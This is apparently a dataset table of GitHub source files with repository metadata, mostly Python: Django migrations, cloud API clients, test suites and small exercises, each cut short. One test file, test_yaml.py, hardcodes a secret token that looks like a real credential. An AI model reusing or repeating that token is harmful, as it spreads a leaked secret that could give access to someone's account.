blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 3 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 112 | license_type stringclasses 2
values | repo_name stringlengths 5 115 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringclasses 777
values | visit_date timestamp[us]date 2015-08-06 10:31:46 2023-09-06 10:44:38 | revision_date timestamp[us]date 1970-01-01 02:38:32 2037-05-03 13:00:00 | committer_date timestamp[us]date 1970-01-01 02:38:32 2023-09-06 01:08:06 | github_id int64 4.92k 681M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 22
values | gha_event_created_at timestamp[us]date 2012-06-04 01:52:49 2023-09-14 21:59:50 ⌀ | gha_created_at timestamp[us]date 2008-05-22 07:58:19 2023-08-21 12:35:19 ⌀ | gha_language stringclasses 149
values | src_encoding stringclasses 26
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 3 10.2M | extension stringclasses 188
values | content stringlengths 3 10.2M | authors listlengths 1 1 | author_id stringlengths 1 132 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
d8c9a1195914abb934243f8b8b1463e5578a4e69 | e1c062c11b61b6622f8b784455603c770d5b2002 | /mining_ngram.py | 7228eac5e58a6e95dd2523d2447d2fb6b7326f99 | [] | no_license | yyht/frequent_pattern_mining | 734f8a68699fc1d2542497c46fb5bddf7ef630b7 | c2af84011211a53dd66f72864c591fb12c134172 | refs/heads/master | 2020-04-12T07:44:00.469560 | 2018-12-25T02:07:37 | 2018-12-25T02:07:37 | 162,368,773 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,073 | py | import data_processor
import numpy as np
import tensorflow as tf
flags = tf.flags
FLAGS = flags.FLAGS
## Required parameters
flags.DEFINE_string(
"train_file", None,
"Input TF example files (can be a glob or comma separated).")
flags.DEFINE_string(
"stop_word_file", None,
"Input TF example files (can be a glob... | [
"albert.xht@alibaba-inc.com"
] | albert.xht@alibaba-inc.com |
6c4a1d488f5d6cce1de22b6c92f7bce2c2775674 | 1393b088958301a6c2f6766df2864c61365e9d4b | /orchestrator/plugins/venus_muscate/maja_venus_muscate_factory_register.py | 6aba3d25e232df96779543413f90f34114cba79a | [
"Apache-2.0"
] | permissive | alexgoussev/maja_gitlab | f6727468cb70e210d3c09453de22fee58ed9d656 | 9688780f8dd8244e60603e1f11385e1fadc90cb4 | refs/heads/develop | 2023-02-24T05:37:38.769452 | 2021-01-21T16:47:54 | 2021-01-21T16:47:54 | 332,269,078 | 0 | 0 | Apache-2.0 | 2021-01-23T18:17:25 | 2021-01-23T17:33:18 | C++ | UTF-8 | Python | false | false | 2,820 | py | # -*- coding: utf-8 -*-
#
# Copyright (C) 2020 Centre National d'Etudes Spatiales (CNES)
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# ... | [
"julie.brossard@c-s.fr"
] | julie.brossard@c-s.fr |
f2fe55c30889910bb731091e69bdda54631133e9 | e68a9de29d01307047b1c8f0fce63ed8e2cb310a | /testsuite/min-reg/run.py | e58d88df8a744fa079c5a258d541783106055cd3 | [
"BSD-3-Clause",
"CC-BY-4.0"
] | permissive | AcademySoftwareFoundation/OpenShadingLanguage | 93ca2c8a4ce74313dca6a45cfeb4625fb8a1624f | 473bbfcdbd8fa8799bf7fb61f70b1dcded0ea963 | refs/heads/main | 2023-08-31T01:54:14.617073 | 2023-08-26T21:23:49 | 2023-08-26T21:23:49 | 1,461,954 | 598 | 102 | BSD-3-Clause | 2023-09-14T18:08:40 | 2011-03-10T02:44:05 | C++ | UTF-8 | Python | false | false | 2,419 | py | #!/usr/bin/env python
# Copyright Contributors to the Open Shading Language project.
# SPDX-License-Identifier: BSD-3-Clause
# https://github.com/AcademySoftwareFoundation/OpenShadingLanguage
# min(float,float) includes masking
command += testshade("-t 1 -g 64 64 -od uint8 -o Cout out_min_u_float_u_float.tif test_min... | [
"noreply@github.com"
] | AcademySoftwareFoundation.noreply@github.com |
bc7d88b9ec92ef517c7822df2f2d2dffbbc1252c | dbb32a7d5b96a94533b27a6ccf2474c660a863b7 | /containers/taskExecutor/sources/utils/taskExecutor/tasks/gameOfLife38.py | e96935a28990c8923fad7ffdf2fa845d6ef8fdf8 | [] | no_license | ankurhcu/FogBus2 | 772e8346c5e01e2aa8a02da9ef91fd696dd587a7 | 2cefabdd1d131fc8e9015ca31d414665e6014a69 | refs/heads/main | 2023-08-07T15:33:54.039724 | 2021-09-21T05:02:49 | 2021-09-21T05:02:49 | 410,610,212 | 1 | 0 | null | 2021-09-26T16:57:23 | 2021-09-26T16:57:22 | null | UTF-8 | Python | false | false | 197 | py | from .gameOfLife import GameOfLife
class GameOfLife38(GameOfLife):
def __init__(self):
super().__init__(
80,
'GameOfLife38',
((30, 28), (32, 30)))
| [
"plocircle@live.com"
] | plocircle@live.com |
3a8d602987be2ad1625784183deca28e72d732ee | c4e729edfb9b056b9aa111a31eebefe41f39ac46 | /cloudapi/missions/tasks/task.py | 91df87d5023f864feaec591d857ca1c54795f851 | [] | no_license | sun3shines/web | 870a558538278ecb4a39e5d9cab4ba2ebb626ca3 | 9e6f83e6e793f86ecdf7202daae3903cc052f266 | refs/heads/master | 2021-01-18T23:49:48.722245 | 2016-07-02T10:25:24 | 2016-07-02T10:25:24 | 54,888,971 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 380 | py | # -*- coding: utf-8 -*-
class Task:
def __init__(self):
self.response = ''
def getUrl(self):
return ''
def getBody(self):
return ''
def getMethod(self):
return 'POST'
def getParams(self):
return ... | [
"sun__shines@163.com"
] | sun__shines@163.com |
e98def486e5e036a0ce7186f9a543ed0c5913977 | bbc8fbbdd40665af61fedf69962b38c1d5939683 | /apps/notify/migrations/0020_auto__add_field_internalmessage_respond.py | 88dc7ff03cbbac49826d25b9613f1fd4f2de9cf3 | [] | no_license | braskin/pd | 64b299ad8058e8d3939bc9778fd1576522f786b0 | df32f96b432c2f07e1a20bcbd84df3eccad5e29a | refs/heads/master | 2021-01-10T22:10:34.318229 | 2013-01-23T11:50:37 | 2013-01-23T11:50:37 | 7,773,119 | 0 | 1 | null | 2020-07-25T19:53:06 | 2013-01-23T11:09:43 | Python | UTF-8 | Python | false | false | 9,225 | py | # encoding: utf-8
import datetime
from south.db import db
from south.v2 import SchemaMigration
from django.db import models
class Migration(SchemaMigration):
def forwards(self, orm):
# Adding field 'InternalMessage.respond'
db.add_column('notify_internalmessage', 'respond', self.gf('djang... | [
"boris.raskin@gmail.com"
] | boris.raskin@gmail.com |
3b0ad2988b6d7e06d2ba6b772fe2010c98c9a849 | 7773ea6f465ffecfd4f9821aad56ee1eab90d97a | /python/testData/quickFixes/PyTypeHintsQuickFixTest/callableTwoElements.py | 1d147a93f59dd7587dd40743aed3c13805b4bd3a | [
"Apache-2.0"
] | permissive | aghasyedbilal/intellij-community | 5fa14a8bb62a037c0d2764fb172e8109a3db471f | fa602b2874ea4eb59442f9937b952dcb55910b6e | refs/heads/master | 2023-04-10T20:55:27.988445 | 2020-05-03T22:00:26 | 2020-05-03T22:26:23 | 261,074,802 | 2 | 0 | Apache-2.0 | 2020-05-04T03:48:36 | 2020-05-04T03:48:35 | null | UTF-8 | Python | false | false | 138 | py | from typing import Callable
e: Callable[<error descr="'Callable' must be used as 'Callable[[arg, ...], result]'">i<caret>nt</error>, str] | [
"Semyon.Proshev@jetbrains.com"
] | Semyon.Proshev@jetbrains.com |
c2e761a06c3dba72d9acdafbaa950e0201b1f28a | 9c13bffaf12c83b049375cf24e12183fcab3a2aa | /venv/bin/lambda-builders | 2435426ff0af64fec2e79f37cfe761565b40a258 | [] | no_license | brielino/SDCCTestAnsible | b702d48c934c8bde9638ceba3b27fabf9dd40071 | 857f66860de2ad889455789b60a162506d3125a1 | refs/heads/master | 2022-12-09T13:15:29.030558 | 2020-09-12T14:51:31 | 2020-09-12T14:51:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 259 | #!/home/paolo/PycharmProjects/SDCC/venv/bin/python
# -*- coding: utf-8 -*-
import re
import sys
from aws_lambda_builders.__main__ import main
if __name__ == '__main__':
sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0])
sys.exit(main())
| [
"melissaripaolo@gmail.com"
] | melissaripaolo@gmail.com | |
10e2b669c2d3d503a79ea95181780c57837c6251 | d1ddb9e9e75d42986eba239550364cff3d8f5203 | /google-cloud-sdk/lib/googlecloudsdk/api_lib/cloudiot/registries.py | 935a9222d3fab27b2c6a21a773e41bd36211ba79 | [
"LicenseRef-scancode-unknown-license-reference",
"Apache-2.0"
] | permissive | bopopescu/searchparty | 8ecd702af0d610a7ad3a8df9c4d448f76f46c450 | afdc2805cb1b77bd5ac9fdd1a76217f4841f0ea6 | refs/heads/master | 2022-11-19T14:44:55.421926 | 2017-07-28T14:55:43 | 2017-07-28T14:55:43 | 282,495,798 | 0 | 0 | Apache-2.0 | 2020-07-25T17:48:53 | 2020-07-25T17:48:52 | null | UTF-8 | Python | false | false | 7,387 | py | # Copyright 2017 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or ag... | [
"vinvivo@users.noreply.github.com"
] | vinvivo@users.noreply.github.com |
cbc4517dfd261c43287ac8afc77191cb726c026f | ca7aa979e7059467e158830b76673f5b77a0f5a3 | /Python_codes/p02595/s629865346.py | d0a82f085823894f709114df5b0bba8496dd8d7c | [] | no_license | Aasthaengg/IBMdataset | 7abb6cbcc4fb03ef5ca68ac64ba460c4a64f8901 | f33f1c5c3b16d0ea8d1f5a7d479ad288bb3f48d8 | refs/heads/main | 2023-04-22T10:22:44.763102 | 2021-05-13T17:27:22 | 2021-05-13T17:27:22 | 367,112,348 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 237 | py | n,d = [int(x) for x in input().split()]
x = []
y = []
for i in range(n):
x1,y1 = [int(x) for x in input().split()]
x.append(x1)
y.append(y1)
c = 0
for i in range(n):
s = x[i] ** 2 + y[i] ** 2
if s <= d ** 2:
c += 1
print(c) | [
"66529651+Aastha2104@users.noreply.github.com"
] | 66529651+Aastha2104@users.noreply.github.com |
ab3d96897d6971b02c62744de9f213ee2be6dbf9 | d6afb4c4a3870e8cab6d4ef15d8b6a5411a6adad | /src/outpost/django/video/utils.py | 531f615f07930ad34316fd14040949b456279b94 | [
"BSD-3-Clause",
"BSD-2-Clause"
] | permissive | medunigraz/outpost.django.video | cfd8c67ff5f822309fc98362930929e5dda1cbcd | fe2fb4560763ba5c315ef808907f22a3370764a9 | refs/heads/master | 2023-07-20T14:34:34.608142 | 2023-07-05T06:07:27 | 2023-07-05T06:07:27 | 184,580,360 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,274 | py | import io
import json
import logging
import math
import re
import subprocess
from functools import (
partial,
reduce,
)
from math import ceil
from typing import Callable
import boto3
import requests
from dateutil.relativedelta import relativedelta
from django.utils.translation import gettext_lazy as _
from mor... | [
"michael@fladi.at"
] | michael@fladi.at |
090ef3794a02f196cc6e3deac7fe25ae73fb8e35 | c16ea32a4cddb6b63ad3bacce3c6db0259d2bacd | /google/ads/googleads/v4/googleads-py/google/ads/googleads/v4/services/types/campaign_draft_service.py | 911604c7df782d85adb22497edc619b88cabaef1 | [
"Apache-2.0"
] | permissive | dizcology/googleapis-gen | 74a72b655fba2565233e5a289cfaea6dc7b91e1a | 478f36572d7bcf1dc66038d0e76b9b3fa2abae63 | refs/heads/master | 2023-06-04T15:51:18.380826 | 2021-06-16T20:42:38 | 2021-06-16T20:42:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,184 | py | # -*- coding: utf-8 -*-
# Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or... | [
"bazel-bot-development[bot]@users.noreply.github.com"
] | bazel-bot-development[bot]@users.noreply.github.com |
ba529d3410772d0e27cb13219a10f07c17bf729d | 22bea740c45a8bca47f97a1f2d69c401084a7fa5 | /nakhll_market/migrations/0019_remove_shop_newimage.py | b453e6d8464cbfb90b998df27888184e52b65b18 | [] | no_license | learnasgo/app | 7c60c3556350a6dc00a1c5548b86d1c33d85a920 | 876c1af2e477b66282f11a7119c0f9c6ea47d70c | refs/heads/main | 2023-01-24T06:01:03.300104 | 2020-11-21T15:00:51 | 2020-11-21T15:00:51 | 314,040,000 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 346 | py | # Generated by Django 2.2.6 on 2019-12-22 08:34
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('nakhll_market', '0018_shop_newimage'),
]
operations = [
migrations.RemoveField(
model_name='shop',
name='NewIm... | [
"admin@example.com"
] | admin@example.com |
666f4ee35ee54862e3256788841d2b30a3c34ae3 | ef605b30b118dbb5902a360c2dc74634f8d8023a | /ve/Lib/site-packages/yapftests/split_penalty_test.py | 7aa1b292cffbe651d22790c3e380cbebd5e9ba4f | [] | no_license | lugnitdgp/avskr2.0 | 691b82e529fba667ebf0885b52f0c58b5076f3cb | 278e4f6f8ce4677e213150716704330d83debf9f | refs/heads/master | 2022-12-06T03:10:38.743582 | 2018-10-29T13:14:38 | 2018-10-29T13:14:38 | 151,551,343 | 4 | 10 | null | 2022-11-22T13:59:07 | 2018-10-04T09:58:45 | Python | UTF-8 | Python | false | false | 6,782 | py | # Copyright 2015-2016 Google Inc. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law... | [
"divyanshumehta@outlook.com"
] | divyanshumehta@outlook.com |
336e13170cf653639064b57fd97ddb634ee1764a | 68ba7371b9367d958bbf3830c9e837590bd06221 | /contrib/spendfrom/setup.py | 7dc3a7be80e95e1e145c6ff72d5f36cc77f0f2ca | [
"MIT"
] | permissive | mirzaei-ce/core-bbbit | 62bdba541f8232ae0b80401d24d09cb560dcafea | 52b1ba0bd0fc847ba324bd39faf64f4eb40bfb72 | refs/heads/master | 2021-08-15T22:41:31.320102 | 2017-11-18T13:20:05 | 2017-11-18T13:20:05 | 111,207,164 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 295 | py | from distutils.core import setup
setup(name='utbspendfrom',
version='1.0',
description='Command-line utility for bbbit "coin control"',
author='Gavin Andresen',
author_email='gavin@bbbitfoundation.org',
requires=['jsonrpc'],
scripts=['spendfrom.py'],
)
| [
"mirzaei@ce.sharif.edu"
] | mirzaei@ce.sharif.edu |
b094049bf47129085a78d5caf22241ebcc37c5dd | 9df2fb0bc59ab44f026b0a2f5ef50c72b2fb2ceb | /sdk/ml/azure-ai-ml/tests/automl_job/unittests/test_automl_image_instance_segmentation.py | bbeb42d2f797225f858ee8071bb98c7614cfd151 | [
"MIT",
"LGPL-2.1-or-later",
"LicenseRef-scancode-generic-cla",
"LicenseRef-scancode-python-cwi",
"PSF-2.0",
"LGPL-2.0-or-later",
"GPL-3.0-or-later",
"GPL-1.0-or-later",
"LicenseRef-scancode-warranty-disclaimer",
"LGPL-2.1-only",
"Python-2.0",
"MPL-2.0",
"LicenseRef-scancode-other-copyleft",
... | permissive | openapi-env-test/azure-sdk-for-python | b334a2b65eeabcf9b7673879a621abb9be43b0f6 | f61090e96094cfd4f43650be1a53425736bd8985 | refs/heads/main | 2023-08-30T14:22:14.300080 | 2023-06-08T02:53:04 | 2023-06-08T02:53:04 | 222,384,897 | 1 | 0 | MIT | 2023-09-08T08:38:48 | 2019-11-18T07:09:24 | Python | UTF-8 | Python | false | false | 11,175 | py | # ---------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# ---------------------------------------------------------
import pytest
from azure.ai.ml import UserIdentityConfiguration
from azure.ai.ml._restclient.v2023_04_01_preview.models import (
Insta... | [
"noreply@github.com"
] | openapi-env-test.noreply@github.com |
d35c5e09415cbf831a90ef72d2548ebdd130460a | f9f0831d091ec83fc025b127ec7e734c740d20a6 | /src/tests/base/test_cache.py | 31f6c645f4d03cb0de4a3d26e66a78e59445958c | [
"Apache-2.0",
"BSD-3-Clause",
"MIT",
"Python-2.0"
] | permissive | Unicorn-rzl/pretix | 9cefeb076d2cbe890fc3ac5d3432d8af1b74ff7b | e2215d2baafebb12b06bd9eac0b2f4e3367bd535 | refs/heads/master | 2020-12-28T20:31:48.075415 | 2015-07-06T13:22:08 | 2015-07-06T13:25:10 | 38,899,060 | 0 | 0 | null | 2015-07-10T19:47:22 | 2015-07-10T19:47:21 | null | UTF-8 | Python | false | false | 1,433 | py | import random
from django.test import TestCase
from django.core.cache import cache as django_cache
from django.utils.timezone import now
from pretix.base.models import Event, Organizer
class CacheTest(TestCase):
"""
This test case tests the invalidation of the event related
cache.
"""
@classmeth... | [
"mail@raphaelmichel.de"
] | mail@raphaelmichel.de |
95f248a8a25e61fb6c00ef5a26c261b66ba3cacb | de24f83a5e3768a2638ebcf13cbe717e75740168 | /moodledata/vpl_data/34/usersdata/128/13073/submittedfiles/moedas.py | 8a06e124cd3f97b816f07d0b1f7eb408225d9bbb | [] | no_license | rafaelperazzo/programacao-web | 95643423a35c44613b0f64bed05bd34780fe2436 | 170dd5440afb9ee68a973f3de13a99aa4c735d79 | refs/heads/master | 2021-01-12T14:06:25.773146 | 2017-12-22T16:05:45 | 2017-12-22T16:05:45 | 69,566,344 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 561 | py | # -*- coding: utf-8 -*-
from __future__ import division
a=input('Digite o valor de uma moeda: ')
b=input('Digite o valor de outra moeda: ')
c=input('Digite o valor da cédula: ')
aA=a
bB=b
a2=0
b2=0
contA=0
contB=0
while True:
a2=a2+aA
contA=contA+1
b2=b2+bB
contB=contB+1
if (c-a2)%b==... | [
"rafael.mota@ufca.edu.br"
] | rafael.mota@ufca.edu.br |
8848773f33f8a413e309df1aabbe7c43dafceef3 | fe4beb7b294c36143c82801a854ffb3ec979ffcf | /easy/longest_common_prefix.py | 3c768442be892b16f8fc3343988b7fc4a242fbc9 | [] | no_license | Ajat98/LC-2021 | f8242ce915f53242f90df094a44cdd775bd17326 | 03165fc0a909bafd504642540b05fe6479ea4728 | refs/heads/main | 2023-08-23T03:25:50.286801 | 2021-11-01T15:24:32 | 2021-11-01T15:24:32 | 408,863,816 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,812 | py | """
Write a function to find the longest common prefix string amongst an array of strings.
If there is no common prefix, return an empty string "".
Example 1:
Input: strs = ["flower","flow","flight"]
Output: "fl"
Example 2:
Input: strs = ["dog","racecar","car"]
Output: ""
Explanation: There is no common prefix among th... | [
"noreply@github.com"
] | Ajat98.noreply@github.com |
2376c604a6ec40e6cf8058bcc4f1405cb94ab45b | a84538af8bf1f763a3d71d939744976425358b30 | /test/functional/create_cache.py | c14bd517317f91598177a7198e9852e66ea65d1e | [
"MIT"
] | permissive | YourLocalDundee/foxdcoin | 8de421b280a812e390249f14ed0b5892c546ebf1 | 9db505f6f32bd3e51bd2b2da533744c98cee23af | refs/heads/master | 2023-05-14T05:10:26.435417 | 2021-06-09T06:18:50 | 2021-06-09T06:18:50 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 844 | py | #!/usr/bin/env python3
# Copyright (c) 2016 The Bitcoin Core developers
# Copyright (c) 2017-2019 The Raven Core developers
# Distributed under the MIT software license, see the accompanying
# file COPYING or http://www.opensource.org/licenses/mit-license.php.
"""
Create a blockchain cache.
Creating a cache of the bl... | [
"foxrtb@gmail.com"
] | foxrtb@gmail.com |
be8d5929f7214e8ea106bd9ec55c7ece29c8049b | 7177693e2e12f510bf1d3af38e091b749693a0ab | /machine_learning_in_action/ch14/svd_example.py | e6deec6d528bbf2fe8d1acbfdd7179c30494ba61 | [] | no_license | fjl121029xx/MyPyspark | 4725560861b27a10579ff0ad244684b195fee8bc | edeeb024cd168e111eeba6af5aca9d5674e7685c | refs/heads/master | 2021-07-12T00:55:40.178353 | 2020-07-15T03:53:41 | 2020-07-15T03:53:41 | 159,476,636 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,974 | py | #!/usr/bin/env python
# -*- coding:utf-8 -*-
__author__ = 'fjl'
import pandas as pd
import numpy as np
import tensorflow as tf
import matplotlib.pyplot as plt
from numpy import *
from numpy import linalg as la
def sigmaPct(simgma, percentage):
simgma2 = simgma ** 2
sumsgm2 = sum(simgma2)
sumsgm3 = 0
... | [
"sishengqikuo_xx@163.com"
] | sishengqikuo_xx@163.com |
fb13af36a93679b7b9ce5aad34de5ea0072fa9b7 | 26c0f80688f75a188097a232c229a73c8e7cc6ed | /cereal/migrations/0030_auto_20210505_1946.py | ced8ab0e6c7da41a7784cb636685d31907afdf11 | [] | no_license | creep1g/DjangoWebstore | 8207d7ea53c478fb7e5745e1c6ae6699102b5df5 | bd27340b86bf2289b8c14216462d932ccdf4986d | refs/heads/main | 2023-05-06T09:50:04.846489 | 2021-05-28T14:40:40 | 2021-05-28T14:40:40 | 371,730,158 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,526 | py | # Generated by Django 3.2 on 2021-05-05 19:46
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('cereal', '0029_auto_20210505_1838'),
]
operations = [
migrations.CreateModel(
name='CandyCategory',
fields=[('CHAR', m... | [
"thorgilshjalmarsson@gmail.com"
] | thorgilshjalmarsson@gmail.com |
d176a1d109f999678ea2de816d6e0290f6177480 | cbe264842df4eae3569b28ed4aae9489014ed23c | /python/coding_dojang/practice_package.py | e2195dd6ce4158d9e0fc9602a783de29c2b8ecfc | [
"MIT"
] | permissive | zeroam/TIL | 31e176c2f4c3e1ef72b1155353690cc2f7160f96 | 43e3573be44c7f7aa4600ff8a34e99a65cbdc5d1 | refs/heads/master | 2021-07-23T01:43:34.135033 | 2021-07-10T06:47:17 | 2021-07-10T06:47:17 | 167,952,375 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 42 | py | from database import *
connect(':memory') | [
"imdff0803@gmail.com"
] | imdff0803@gmail.com |
ef9875c9122fb71d1958fe6e2877c4404fe4eac7 | 283b70575f90605cda28e87f12a661f906fb3ce0 | /py/abd/abdt_git.py | 3a9058966dd40bfc9aa2a2240d4987d5b817eabc | [
"Apache-2.0",
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | valhallasw/phabricator-tools | 04219ced1c2631168301f7bc2632a3a66bd7127a | 397406485901ce3bd26e1aee122e652539f99f98 | refs/heads/master | 2021-01-14T09:21:07.810367 | 2014-11-09T19:51:29 | 2014-11-09T19:51:49 | 26,406,924 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 14,177 | py | """Abstraction for Arcyd's git operations."""
# =============================================================================
# CONTENTS
# -----------------------------------------------------------------------------
# abdt_git
#
# Public Classes:
# Repo
# .is_identical
# .get_remote_branches
# .checkout_for... | [
"jevripiotis@bloomberg.net"
] | jevripiotis@bloomberg.net |
6bb6442e27387f3708e9a4a57f75966e904824cc | f7b6178733d36d19ce0d9463e0a92882d3218996 | /test_requests/testcases/test_yaml.py | 8fc1adacbf9d6b0937c3b56befb76f7e3cf17d99 | [] | no_license | ceshiren/HogwartsFIS01 | c2cc2af6b932f85a6c6f58415a1e5afd82ee0144 | 1e5fff502d5edf9cd3271ce19927e890055c0ec2 | refs/heads/master | 2022-10-24T18:56:09.228952 | 2020-06-13T09:11:40 | 2020-06-13T09:11:40 | 267,007,869 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 189 | py | import yaml
def test_yaml():
secret = {"contact": "T0TFrXmGYel167lnkzEydsjl6bcDDeXVmkUnEYugKIw", "agent": "xxxxx"}
with open("config2.yml", "w") as f:
yaml.dump(secret, f) | [
"xujuan418974188@163.com"
] | xujuan418974188@163.com |
a584176273a02f73e646004be19860c2c6cd7279 | 7ed4274e8cbc58d5a3fc553766f5ea422dd35782 | /python/Concatenation_of_Zig_Zag_String_in _n_Rows.py | fd7fd7d17a0706a63a8c8baf1094449fecafe762 | [] | no_license | G-Gowtham/Programming | 75bd789c97afedb3b035b712cf7db62b304059b7 | 05824b4cfcf62681e18521c857b8f359b4e18c58 | refs/heads/master | 2023-01-23T13:52:26.453816 | 2020-11-23T07:14:41 | 2020-11-23T07:14:41 | 277,239,521 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 678 | py | def fn():
s = input().strip()
n = int(input().strip())
a = [""]*n
count = 0
dir_up = 0
if(len(s) == 0):
print('')
elif(n==1):
print(s)
else:
for i in range(len(s)):
if(dir_up == 0):
a[count]+=s[i]
count +=... | [
"gowthamg.cs17@bitsathy.ac.in"
] | gowthamg.cs17@bitsathy.ac.in |
7b71ff13c59a30475ec23e5dbc505ad6fec85b09 | d410077e0422bc4ecbcf22da2e9b6726c0f59dba | /kgcn_torch/datasets/examples/multimodal_chembl.py | 2bcd40bf9d0a49452fdae4a4b21ea63e735baeae | [] | no_license | clinfo/kGCN_torch | 3eaf2a73dd7726bb58bce8ce63ba625344d4e34c | 3e1845764e6ee6650826b2ea990df786d078ca2d | refs/heads/master | 2021-02-05T04:28:09.922351 | 2020-11-20T05:09:15 | 2020-11-20T05:09:15 | 243,745,187 | 11 | 0 | null | 2020-11-13T01:34:15 | 2020-02-28T11:18:15 | Python | UTF-8 | Python | false | false | 4,331 | py | import torch
import torch.nn.functional as F
from torch_geometric.data import Data
from torch_sparse import coalesce
from rdkit import Chem
from rdkit.Chem import rdmolops
import pandas as pd
from ..base_dataset import InMemoryRdkitDataset
from ..utils import (
check_download_file_size,
check_local_file_size,... | [
"kbu94982@gmail.com"
] | kbu94982@gmail.com |
a799bf27a00e34205846b66b25100e02c7fef4e2 | a4ea525e226d6c401fdb87a6e9adfdc5d07e6020 | /src/azure-cli/azure/cli/command_modules/privatedns/aaz/latest/network/private_dns/zone/_create.py | c918c467f79137df901f8475f161faa4155c30b2 | [
"MIT",
"BSD-3-Clause",
"LGPL-2.0-or-later",
"GPL-1.0-or-later",
"MPL-2.0",
"LGPL-2.1-only",
"Apache-2.0",
"LGPL-2.1-or-later",
"BSD-2-Clause"
] | permissive | Azure/azure-cli | 13340eeca2e288e66e84d393fa1c8a93d46c8686 | a40fd14ad0b6e89720a2e58d4d9be3a6ce1535ca | refs/heads/dev | 2023-08-17T06:25:37.431463 | 2023-08-17T06:00:10 | 2023-08-17T06:00:10 | 51,040,886 | 4,018 | 3,310 | MIT | 2023-09-14T11:11:05 | 2016-02-04T00:21:51 | Python | UTF-8 | Python | false | false | 9,382 | py | # --------------------------------------------------------------------------------------------
# Copyright (c) Microsoft Corporation. All rights reserved.
# Licensed under the MIT License. See License.txt in the project root for license information.
#
# Code generated by aaz-dev-tools
# --------------------------------... | [
"noreply@github.com"
] | Azure.noreply@github.com |
12d63af8be397d26718a9a176a0b5f6df2996a97 | bc441bb06b8948288f110af63feda4e798f30225 | /cmdb_sdk/model/container/volume_pb2.py | 19902dd75b3735787da8f9bd49cc776a8d7cf301 | [
"Apache-2.0"
] | permissive | easyopsapis/easyops-api-python | 23204f8846a332c30f5f3ff627bf220940137b6b | adf6e3bad33fa6266b5fa0a449dd4ac42f8447d0 | refs/heads/master | 2020-06-26T23:38:27.308803 | 2020-06-16T07:25:41 | 2020-06-16T07:25:41 | 199,773,131 | 5 | 0 | null | null | null | null | UTF-8 | Python | false | true | 14,938 | py | # -*- coding: utf-8 -*-
# Generated by the protocol buffer compiler. DO NOT EDIT!
# source: volume.proto
import sys
_b=sys.version_info[0]<3 and (lambda x:x) or (lambda x:x.encode('latin1'))
from google.protobuf import descriptor as _descriptor
from google.protobuf import message as _message
from google.protobuf impo... | [
"service@easyops.cn"
] | service@easyops.cn |
1d95b589f6f57ec431c8d2e616480f1ae430d224 | 9a9c81def43e7c7141d43f4ebe012d044221fcb8 | /espnet2/gan_tts/vits/generator.py | 0df1015ab94f87feffe26e863d68cd368e18176b | [
"Apache-2.0"
] | permissive | joe-nano/espnet | ec4f0d018b5fa114a331f635911b584ccbeab0ab | f03101557753517ebac8c432f0793d97d68fa5f0 | refs/heads/master | 2023-07-17T05:31:34.461943 | 2021-08-21T15:11:31 | 2021-08-21T15:11:31 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 26,262 | py | # Copyright 2021 Tomoki Hayashi
# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
"""Generator module in VITS.
This code is based on https://github.com/jaywalnut310/vits.
"""
import math
from typing import List
from typing import Optional
from typing import Tuple
import numpy as np
import torch
import t... | [
"hayashi.tomoki@g.sp.m.is.nagoya-u.ac.jp"
] | hayashi.tomoki@g.sp.m.is.nagoya-u.ac.jp |
